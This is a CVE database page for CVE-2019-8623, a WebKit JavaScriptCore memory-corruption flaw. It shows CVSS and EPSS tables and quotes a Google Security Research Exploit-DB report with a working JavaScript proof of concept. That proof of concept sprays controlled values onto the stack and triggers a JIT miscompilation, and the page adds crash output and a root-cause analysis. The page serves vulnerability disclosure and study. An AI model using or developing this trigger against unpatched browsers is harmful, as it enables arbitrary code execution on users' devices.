CVE-2019-8623

Score / Severity

8.8

High

CVE Descriptions

Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, watchOS 5.2.1, Safari 12.1.1, iTunes for Windows 12.9.5, iCloud for Windows 7.12. Processing maliciously crafted web content may lead to arbitrary code execution.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-787	Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	8.8	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	nvd@nist.gov
V2	6.8		AV:N/AC:M/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2021-04-18	1.87%	–	–	–	–
2021-09-05	–	1.87%	–	–	–
2021-10-17	–	1.87%	–	–	–
2022-01-09	–	1.87%	–	–	–
2022-02-06	–	–	53.03%	–	–
2022-04-03	–	–	20.51%	–	–
2023-03-12	–	–	–	6.77%	–
2023-08-20	–	–	–	6.18%	–
2023-09-10	–	–	–	6.35%	–
2023-10-08	–	–	–	6.48%	–
2023-10-22	–	–	–	7.92%	–
2023-11-26	–	–	–	8.18%	–
2024-06-02	–	–	–	8.18%	–
2024-08-25	–	–	–	7.53%	–
2024-12-15	–	–	–	9.16%	–
2024-12-29	–	–	–	7.31%	–
2025-02-09	–	–	–	5.47%	–
2025-01-19	–	–	–	7.31%	–
2025-02-16	–	–	–	5.47%	–
2025-03-18	–	–	–	–	27.09%
2025-03-18	–	–	–	–	27.09,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2021-04-18	–
2021-09-05	76%
2021-10-17	77%
2022-01-09	48%
2022-02-06	98%
2022-04-03	96%
2023-03-12	93%
2023-08-20	93%
2023-09-10	93%
2023-10-08	93%
2023-10-22	94%
2023-11-26	94%
2024-06-02	94%
2024-08-25	94%
2024-12-15	95%
2024-12-29	94%
2025-02-09	93%
2025-01-19	94%
2025-02-16	93%
2025-03-18	96%
2025-03-18	96%

Exploit information

Exploit Database EDB-ID : 46889

Publication date : 2019-05-20 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

While fuzzing JavaScriptCore, I encountered the following (modified and commented) JavaScript program which crashes jsc from current HEAD and release: // Run with --useConcurrentJIT=false // Fill the stack with the return value of the provided function. function stackspray(f) { // This function will spill all the local variables to the stack // since they are needed for the returned array. let v0 = f(); let v1 = f(); let v2 = f(); let v3 = f(); let v4 = f(); let v5 = f(); let v6 = f(); let v7 = f(); return [v0, v1, v2, v3, v4, v5, v6, v7]; } // JIT compile the stack spray. for (let i = 0; i < 1000; i++) { // call twice in different ways to prevent inlining. stackspray(() => 13.37); stackspray(() => {}); } for (let v15 = 0; v15 < 100; v15++) { function v19(v23) { // This weird loop form might be required to prevent loop unrolling... for (let v30 = 0; v30 < 3; v30 = v30 + "asdf") { // Generates the specific CFG necessary to trigger the bug. const v33 = Error != Error; if (v33) { } else { // Force a bailout. // CFA will stop here and thus mark the following code as unreachable. // Then, LICM will ignore the memory writes (e.g. initialization of stack slots) // performed by the following code and will then move the memory reads (e.g. // access to stack slots) above the loop, where they will, in fact, be executed. const v34 = (1337)[-12345]; } function v38(v41) { // v41 is 8 bytes of uninitialized stack memory here, as // (parts of) this code get moved before the loop as well. return v41.hax = 42; } for (let v50 = 0; v50 < 10000; v50++) { let o = {hax: 42}; const v51 = v38(o, ...arguments); } } // Force FTL compilation, probably. for (let v53 = 0; v53 < 1000000; v53++) { } } // Put controlled data onto the stack. stackspray(() => 3.54484805889626e-310); // 0x414141414141 in binary // Call the miscompiled function. const v55 = v19(1337); } This yields a crash similar to the following: # lldb -- /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc --useConcurrentJIT=false current.js (lldb) target create "/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc" Current executable set to '/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc' (x86_64). (lldb) settings set -- target.run-args "--useConcurrentJIT=false" "current.js" (lldb) r Process 45483 launched: '/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc' (x86_64) Process 45483 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT) frame #0: 0x000025c3ca81306e -> 0x25c3ca81306e: cmp dword ptr [rax], 0x127 0x25c3ca813074: jne 0x25c3ca81316f 0x25c3ca81307a: mov dword ptr [rbp + 0x24], 0x1 0x25c3ca813081: movabs rax, 0x7fff3c932a70 Target 0: (jsc) stopped. (lldb) reg read rax rax = 0x0001414141414141 // Note the additional 0x1 at the start due to the NaN boxing scheme (see JSCJSValue.h) The same sample also sometimes triggers a crash with --useConcurrentJIT=true (the default), but it is more reliable with concurrent JIT disabled. If the sprayed value is a valid pointer, that pointer would either be treated as an object with the structure of `o` in the following code (if the first dword matches the structure ID), or it would be treated as a JSValue after a bailout to the baseline JIT/interpreter. It appears that what is happening here is roughly the following: When v19 is JIT compiled in the DFG, it emits the following (shortened and simplified) DFG IR for the body of the loop: # BASIC BLOCK #9 (loop body) # Create object `o` 110: NewObject() 116: PutByOffset(@110, @113, id1{hax}) 117: PutStructure(@110, ID:430) # Spread `o` and `arguments` into a new array and use that for a varargs call 131: Spread(@30) 134: NewArrayWithSpread(@110, @131) 142: LoadVarargs(@134, R:World, W:Stack(-26),Stack(-24),Stack(-23),Stack(-22),Heap) # Inlined call to v38, load the first argument from the stack (where LoadVarargs put it) 8: GetStack(R:Stack(-24)) 177: CheckStructure(@8) 178: PutByOffset(@8, @113, id1{hax}) ... During loop-invariant code motion (LICM), the GetStack operation, reading from the stack slot initialized by the LoadVarargs operation, is moved in front of the loop (together with parts of the inlined v38 function), thus yielding: # BASIC BLOCK #2 (before loop header) 8: GetStack(R:Stack(-24)) 177: CheckStructure(@8) # BASIC BLOCK #9 (loop body) # Create object `o` ... # Spread `o` and `arguments` into a new array and use that for a varargs call ... 142: LoadVarargs(@134, R:World, W:Stack(-26),Stack(-24),Stack(-23),Stack(-22),Heap) ... As such, in the resulting machine code, the value for v41 (the argument for the inner function) will be loaded from an uninitialized stack slot (which is only initialized later on in the code). Normally, this shouldn't happen as the LoadVarargs operations writes into the stack (W:Stack(-24)), and GetStack reads from that (R:Stack(-24)). Quoting from DFGLICMPhase.cpp: "Hoisting is valid if: ... The node doesn't read anything that the loop writes.". As such, GetStack should not have been moved in front of the loop. The reason that it was still moved appears to be a logical issue in the way LICM deals with dead code: LICM relies on the data computed by control flow analysis (CFA) to know whether a block will be executed at all. If a block will never be executed (and so is dead code), then LICM does not take into account memory writes (e.g. to Stack(-24)) performed by any operation in this block (See https://github.com/WebKit/webkit/blob/c755a5c371370d3a26f2dbfe0eea1b94f2f0c38b/Source/JavaScriptCore/dfg/DFGLICMPhase.cpp#L88). It appears that this behaviour is incorrect, as in this case, CFA correctly concludes that block #9 is dead code (see below). As such, LICM doesn't "see" the memory writes and incorrectly moves the GetStack operation (reading from a stack slot) in front of the LoadVarargs operation (initializing that stack slot). To understand why CFA computes that the loop body (block #9) is unreachable, it is necessary to take a look at the (simplified) control flow graph for v9, which can be found in the attachment (as it needs to be rendered in monospace font :)). In the CFG, block #3, corresponding to the `if`, is marked as always taking the false branch (which is correct), and thus jumping to block 5. Block 5 then contains a ForceOSRExit operation due to the out-of-bounds array access, which the JIT doesn't optimize for. As this operation terminates execution in the DFG, CFA also stops here and never visits the rest of the loop body and in particular never visits block #9. To recap: in the provided JavaScript program, CFA correctly computes that basic block #9 is never executed. Afterwards, LICM decides, based on that data, to ignore memory writes performed in block #9 (dead code), then moves memory reads from block #9 (dead code) into block #2 (alive code). The code is then unsafe to execute. It is likely that this misbehaviour could lead to other kinds of memory corruption at runtime. +-----+ | 0 +----+ +-----+ | +-----+ | | 1 +-------+ v +-----+ | +-----------+ ^ | | 2 | | +---->| loop head | | +-----+-----+ | | | v | +---------+ | | 3 | | | if head | | +--+---+--+ | | | | +-----+ | | +-----+ | | 5 |<-----+ +----->| 4 | | +--+--+ +--+--+ | OSRExit here | | +-----+ | | | 6 |<-------+ | +--+--+ | +------+ | +-------+ 7-10 |<------+ +---+--+ Rest of | Loop body | | To End of function